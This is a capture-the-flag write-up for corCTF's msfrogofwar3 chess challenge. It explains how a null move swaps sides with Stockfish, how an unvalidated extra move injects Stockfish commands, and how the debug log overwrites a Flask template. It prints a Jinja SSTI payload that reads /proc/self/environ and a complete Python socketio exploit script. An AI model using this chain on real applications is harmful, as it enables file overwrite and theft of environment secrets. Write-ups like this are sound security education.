msfrogofwar3 writeup | Chess to Stockfish RCE


Intro

My teammate Quasar carried corCTF this year, full clearing the Crypto category before I even finished moving back home from college. As such, msfrogofwar3 was one of the only challenges I helped solve during this CTF. It ended up being important, as we were in a three-way tie a couple hours before the CTF ended, and solving this challenge brought us up to first place. All in all, this was a really cool challenge and was really satisfying to finally solve.

Before solving:

picture of leaderboard with .;,;. as 2nd place in a three way tie

After solving:

picture of leaderboard with .;,;. as 1st place

Challenge

  • Authors: strellic, quintec
  • Solves: 4

    alt text

Attachments: msfrogofwar3.tar.gz

Analysis

First Glance

After opening up the challenge, which is run through an instancer, we’re met with a very familiar page. It looks identical to the msfrogofwar2 challenge from last year’s corCTF 2023! Challenge Homepage Inside the tar.gz archive, we’re also presented with several files. The bulk of the code is present inside app.py. Challenge Files

Diff

Because a lot of the code is shared, we can diff these files with the challenge files from msfrogofwar2 to get a better idea of what code is going to be vulnerable.

Here’s a diff for app.py, since it includes the bulk of the code.

Toggle diff
1c1
< from flask import Flask, request
---
> from flask import Flask, request, render_template
5d4
< import os
7,8c6,7
< import chesslib
< import movegen
---
> import chess
> from stockfish import Stockfish
35c34
< TURN_LIMIT = 20
---
> TURN_LIMIT = 15
37c36
< FLAG = os.environ.get("FLAG", "corctf{test_flag}")
---
> FLAG = "corctf{this_is_a_fake_flag}"
42,43c41,43
<         self.game = chesslib.Game(chesslib.STARTING_FEN)
<         self.engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
---
>         self.board = chess.Board(chess.STARTING_FEN)
>         self.moves = []
>         self.player_turn = True
46c46
<         moves = [f"{m}" for m in self.game.get_moves()] if self.game.turn == chesslib.Piece.WHITE and self.game.turns < TURN_LIMIT else []
---
>         legal_moves = [f"{m}" for m in self.board.legal_moves] if self.player_turn and self.board.fullmove_number < TURN_LIMIT else []
48,49c48,49
<         status = self.game.get_winner()
<         if self.game.turns >= TURN_LIMIT:
---
>         status = "running"
>         if self.board.fullmove_number >= TURN_LIMIT:
51a52,57
>         if outcome := self.board.outcome():
>             if outcome.winner is None:
>                 status = "draw"
>             else:
>                 status = "win" if outcome.winner == chess.WHITE else "lose"
> 
53,55c59,61
<             "pos": self.game.export_fen(),
<             "moves": moves,
<             "your_turn": self.game.turn == chesslib.Piece.WHITE,
---
>             "pos": self.board.fen(),
>             "moves": legal_moves,
>             "your_turn": self.player_turn,
57c63
<             "turn_counter": f"{self.game.turns} / {TURN_LIMIT} turns"
---
>             "turn_counter": f"{self.board.fullmove_number} / {TURN_LIMIT} turns"
60,61c66,67
<     def play_move(self, move):
<         if self.game.turn != chesslib.Piece.WHITE:
---
>     def play_move(self, uci):
>         if not self.player_turn:
63c69
<         if self.game.turns >= TURN_LIMIT:
---
>         if self.board.fullmove_number >= TURN_LIMIT:
64a71,72
>         
>         self.player_turn = False
66,69c74,91
<         move = movegen.Move.from_uci(self.game, move)
<         legal_moves = self.game.get_moves()
< 
<         if move not in legal_moves:
---
>         outcome = self.board.outcome()
>         if outcome is None:
>             try:
>                 move = chess.Move.from_uci(uci)
>                 if move:
>                     if move not in self.board.legal_moves:
>                         self.player_turn = True
>                         self.emit('state', self.get_player_state())
>                         self.emit("chat", {"name": "System", "msg": "Illegal move"})
>                         return
>                     self.board.push_uci(uci)
>             except:
>                 self.player_turn = True
>                 self.emit('state', self.get_player_state())
>                 self.emit("chat", {"name": "System", "msg": "Invalid move format"})
>                 return
>         elif outcome.winner != chess.WHITE:
>             self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
72,83c94
<         self.game.play_move(move)
<         self.emit("state", self.get_player_state())
< 
<         # check for winner
<         status = self.game.get_winner()
<         if status == chesslib.GameStatus.DRAW:
<             self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
<             return
<         elif status == chesslib.GameStatus.WHITE_WIN:
<             self.emit("chat", {"name": "🐸", "msg": "how??????"})
<             self.emit("chat", {"name": "System", "msg": FLAG})
<             return
---
>         self.moves.append(uci)
91,92c102,106
<                 self.engine.set_fen_position(self.game.export_fen())
<                 opponent_move = self.engine.get_best_move(30000, 30000)
---
>                 engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
>                 for m in self.moves:
>                     if engine.is_move_correct(m):
>                         engine.make_moves_from_current_position([m])
>                 opponent_move = engine.get_best_move_time(3_000)
94c108
<                 self.engine = Stockfish("./stockfish/stockfish-ubuntu-x86-64-avx2", parameters={"Threads": 4}, depth=STOCKFISH_DEPTH)
---
>                 pass
97,98c111,113
<             opponent_move = movegen.Move.from_uci(self.game, opponent_move)
<             if opponent_move.is_capture(self.game):
---
>             self.moves.append(opponent_move)
>             opponent_move = chess.Move.from_uci(opponent_move)
>             if self.board.is_capture(opponent_move):
100c115,116
<             self.game.play_move(opponent_move)
---
>             self.board.push(opponent_move)
>             self.player_turn = True
103,111c119,127
<             # check for winner
<             status = self.game.get_winner()
<             if status == chesslib.GameStatus.DRAW:
<                 self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
<             elif status == chesslib.GameStatus.BLACK_WIN:
<                 self.emit("chat", {"name": "🐸", "msg": random.choice(win_msges)})
<             
<             if self.game.turns >= TURN_LIMIT:
<                 self.emit("chat", {"name": "🐸", "msg": random.choice(win_msges)})
---
>             if (outcome := self.board.outcome()) is not None:
>                 if outcome.termination == chess.Termination.CHECKMATE:
>                     if outcome.winner == chess.BLACK:
>                         self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
>                     else:
>                         self.emit("chat", {"name": "🐸", "msg": "how??????"})
>                         self.emit("chat", {"name": "System", "msg": FLAG})
>                 else: # statemate, insufficient material, etc
>                     self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
131c141
<     return app.send_static_file('index.html')
---
>     return render_template('index.html')
145c155,162
<     games[request.sid].play_move(move)
---
>     try:
>         games[request.sid].play_move(move)
>     except:
>         emit("chat", {"name": "System", "msg": "An error occurred, please restart"})
> 
> @socketio.on('state')
> def onmsg_state():
>     emit('state', games[request.sid].get_player_state())

From this diff file, the two biggest observations I made were:

  1. We now use the chess and stockfish python libraries, instead of the previously vulnerable chesslib and movegen in msfrogofwar2.
    • This means that the legal moves are now determined by the chess library.
    • We interact with Stockfish via the stockfish library, instead of directly.
  2. Something has been done to the resulting win/loss/draw code, which is suspicious, as this shouldn’t require too much modification.

Ideas

The goal seems to be to beat Stockfish in 15 moves, five fewer than last year’s 20. It’s easy to see that we won’t be able to devise a stronger engine to do this.

However, because I am a magical schizo, I have a couple of ideas.

The first one is quite intuitive. It’s hard to lose in fifteen moves unless you can throw for the other side intentionally. So, the hope is that you can play for stockfish.

schizo idea 1

Solve Path

Playing as Black

Based on schizo intuition 1, and the fact that move checking is pretty much done via the python-chess package. I discovered the existence of what’s called a “null move” while reading through the library code.

def push(self: BoardT, move: Move) -> None:
    """
    Updates the position with the given *move* and puts it onto the
    move stack.

    >>> import chess
    >>> board = chess.Board()
    >>> Nf3 = chess.Move.from_uci("g1f3")
    >>> board.push(Nf3)  # Make the move
    >>> board.pop()  # Unmake the last move
    Move.from_uci('g1f3')

    Null moves just increment the move counters, switch turns and forfeit
    en passant capturing.

    .. warning::
        Moves are not checked for legality. It is the caller's
        responsibility to ensure that the move is at least pseudo-legal or
        a null move.
    """

Without reading the entire code from the push function, the comments tell us that if we’re somehow able to play a null move, then we’d be able to switch who we’re playing for. So I send idea 2 to chat … and am immediately shot down.

idea 2; send a null move

Unfortunately, the move code looks like this.

move = chess.Move.from_uci(uci)
if move:
    if move not in self.board.legal_moves:
        self.player_turn = True
        self.emit('state', self.get_player_state())
        self.emit("chat", {"name": "System", "msg": "Illegal move"})
        return
    self.board.push_uci(uci)
self.board.push_uci(uci)

There’s quite a subtle bug here that Quasar missed initially. While the null move is illegal, the actual call to push_uci is done regardless of whether the move is illegal. So when we send a null move, while it doesn’t change player turn, the move gets pushed regardless and now we’re able to play as black. To test this theory, we can try sending a null move via the websocket javascript console.

Correction (Aug 17th): I’ve been corrected about how this code works by the challenge author. Thanks Strellic!

Essentially, I missed the fact that null move’s are falsy, so the segment of code is just skipped entirely due to the condition if move:.

Basically null moves are falsy, so it's just all skipped

As a bit of extra background, Quasar noticed that sending the null move just straight up worked. I don’t think we ever went back to figure out why, so my explanation above was a bit rushed. Here’s to just testing random things! 🥂

socket.emit('move', '0000')

Sure enough, we’ve now swapped which side Stockfish is playing for, and we now play for Stockfish. Stockfish plays for us!

Stockfish moving for us

It’s now trivial to lose the game. We can simply paste the following two lines of javascript after our null move and Stockfish plays.

socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')

winning game

And now white wins! We’re greeted with a flag:

corctf{this_is_a_fake_flag}

Hold up! Isn’t this the same flag in the file?? As it turns out, we’re not quite done yet. After a bit of pain and headbashing where we thought they had left the test flag in the remote service, we realized the real flag is hidden in the dockerfile as an environment variable.

Inside the start-docker.sh file, we find:

#!/bin/sh
docker build . -t msfrogofwar3
docker run --rm -it -p 8080:8080 -e FLAG=corctf{real_flag} --name msfrogofwar3 msfrogofwar3

Well now what! We’ve won the game, but we still need RCE. It’s not immediately clear why winning the game helps us with RCE.

However, note this code snippet, from app.py:

def play_move(self, uci):
    if not self.player_turn:
        return
    if self.board.fullmove_number >= TURN_LIMIT:
        return
    
    self.player_turn = False

    outcome = self.board.outcome()
    if outcome is None:
        try:
            move = chess.Move.from_uci(uci)
            if move:
                if move not in self.board.legal_moves:
                    self.player_turn = True
                    self.emit('state', self.get_player_state())
                    self.emit("chat", {"name": "System", "msg": "Illegal move"})
                    return
                self.board.push_uci(uci)
        except:
            self.player_turn = True
            self.emit('state', self.get_player_state())
            self.emit("chat", {"name": "System", "msg": "Invalid move format"})
            return
    elif outcome.winner != chess.WHITE:
        self.emit("chat", {"name": "🐸", "msg": "you lost, bozo"})
        return

    self.moves.append(uci)

Once again, there’s another subtle logic bug. This time, if WHITE is the winner of the game, we get to add an extra move, as the case where WHITE is the winner is not handled properly, allowing us to skip straight to self.moves.append(uci), and get an extra move in.

What’s more interesting is that this one extra move also isn’t authenticated. We skip all validation logic, including:

  1. Checking if the move is in UCI format
  2. Verifying if the move is legal
  3. Actually pushing the move onto the board

This means we get arbitrary input to Stockfish. We can try to use this to obtain RCE! 🤯

Arbitrary Stockfish Input

In summary of above, we can now get arbitrary input to stockfish. Code to do so looks like this.

// Null move to switch sides
socket.emit('move', '0000')
// Moves to win the game through scholars mate
socket.emit('move', 'f7f6')
socket.emit('move', 'g7g5')
// Unauthenticated move goes here
socket.emit('move', 'a7a6\n...unauthenticatedstuffhere')

After a bit of poking around the Stockfish source and docs, my teammate Flocto found out about Stockfish Commands.

We weren’t able to find any straight up code execution here, but we did find something else. One of the stockfish commands, setoption, allows us to change the parameters of the Stockfish Engine. And one of these parameters we can set is the Debug Log File, which we can use to “Write all communication to and from the engine into a text file”.

With this in mind, we have arbitrary file write, right? Not quite. As it turns out, stockfish actually appends every message in it’s log file with either >> or <<, which can be found in the Stockfish code.

int uflow() override { return log(buf->sbumpc(), ">> "); }

Dirty Arbitrary File Write

See, we got stuck on this for a very long time. It’s very hard to create a valid file with the constraints that it must always start with >>. What we have is not quite arbitrary file write, but is instead referred to as dirty arbitrary file write.

Unfortunately, it’s very hard to actually write a python or bash file that starts with >>. In fact, I’m pretty sure it’s impossible, as they’ll be malformed. We also can’t directly write a binary, because that’ll also not work properly.

After a couple hours, including me leaving my team alone to play some Minecraft, I came back, looked at the challenge again for a bit, and realized that we can overwrite index.html, as html isn’t so strictly parsed.

Me telling teammates we can do Server Side Template Injection

SSTI

We now have Server Side Template Injection (SSTI), which pretty much gives us RCE! 🎉

There are however a couple things to note. If we overwrite index.html after visiting it, we’ll run into issues, as it’ll be loaded into memory and our new template won’t execute. So now we need to write a script that interacts directly with the socket, and never loads index.html.

Our flag is also stored in an environment variable, and my teammate Ani pulled out a nice payload for SSTI.

{{ request.__class__._load_form_data.__globals__.__builtins__.open("/proc/self/environ").read() }}

Now all that’s left is to put it together.

Solve

Solve script, credit goes to Jayden for actually implementing and writing the solve script for this challenge.

import socketio
import time

sio = socketio.Client()

moves = [
    '0000',
    'f7f6',
    'g7g5',
    'a7a6\nsetoption name Debug Log File value templates/index.html\n{{ request.__class__._load_form_data.__globals__.__builtins__.open("/proc/self/environ").read() }}'
]

@sio.event
def connect():
    print('connected')
    send_moves()

def send_moves():
    for move in moves:
        print(f"sending {move}")
        sio.emit('move', move)
        time.sleep(20)
    
    sio.disconnect()


if __name__ == '__main__':
    sio.connect('https://msfrogofwar3.be.ax/')
    sio.wait()

And here lies the flag.

corctf{"Whatever you do, don''t reveal all your techniques in a CTF challenge, you fool, you moron." - Sun Tzu, The Art of War}

Concluding Thoughts

In hindsight, this challenge definitely could’ve been a lot easier if I had paid more attention to the diffs. Our first big time loss was not realizing that beating Stockfish was only the first part of the challenge, which we would’ve seen if we had just realized that the Dockerfile was different and had a different (not fake) flag inside of it. The second part we were stuck on but should’ve been quite easy was the dirty arbitrary file write. While working on the challenge, I didn’t even realize the template portion of the code was changed, and evidently none of my teammates did too. If we had noticed that templates were added, I think SSTI would’ve came up to mind a lot quicker than it did, and we would’ve had much less trouble solving the challenge.

Regardless of all the shenanigans we wasted our time on, we did ultimately end up solving this challenge and it was super fun to do. Thanks to strellic and quintec for once again writing an awesome chess challenge, definitely looking forward to another one next year if corCTF is hosted again. Also huge thanks to my teammates, there was a lot of collaboration that went into solving this challenge. ❤️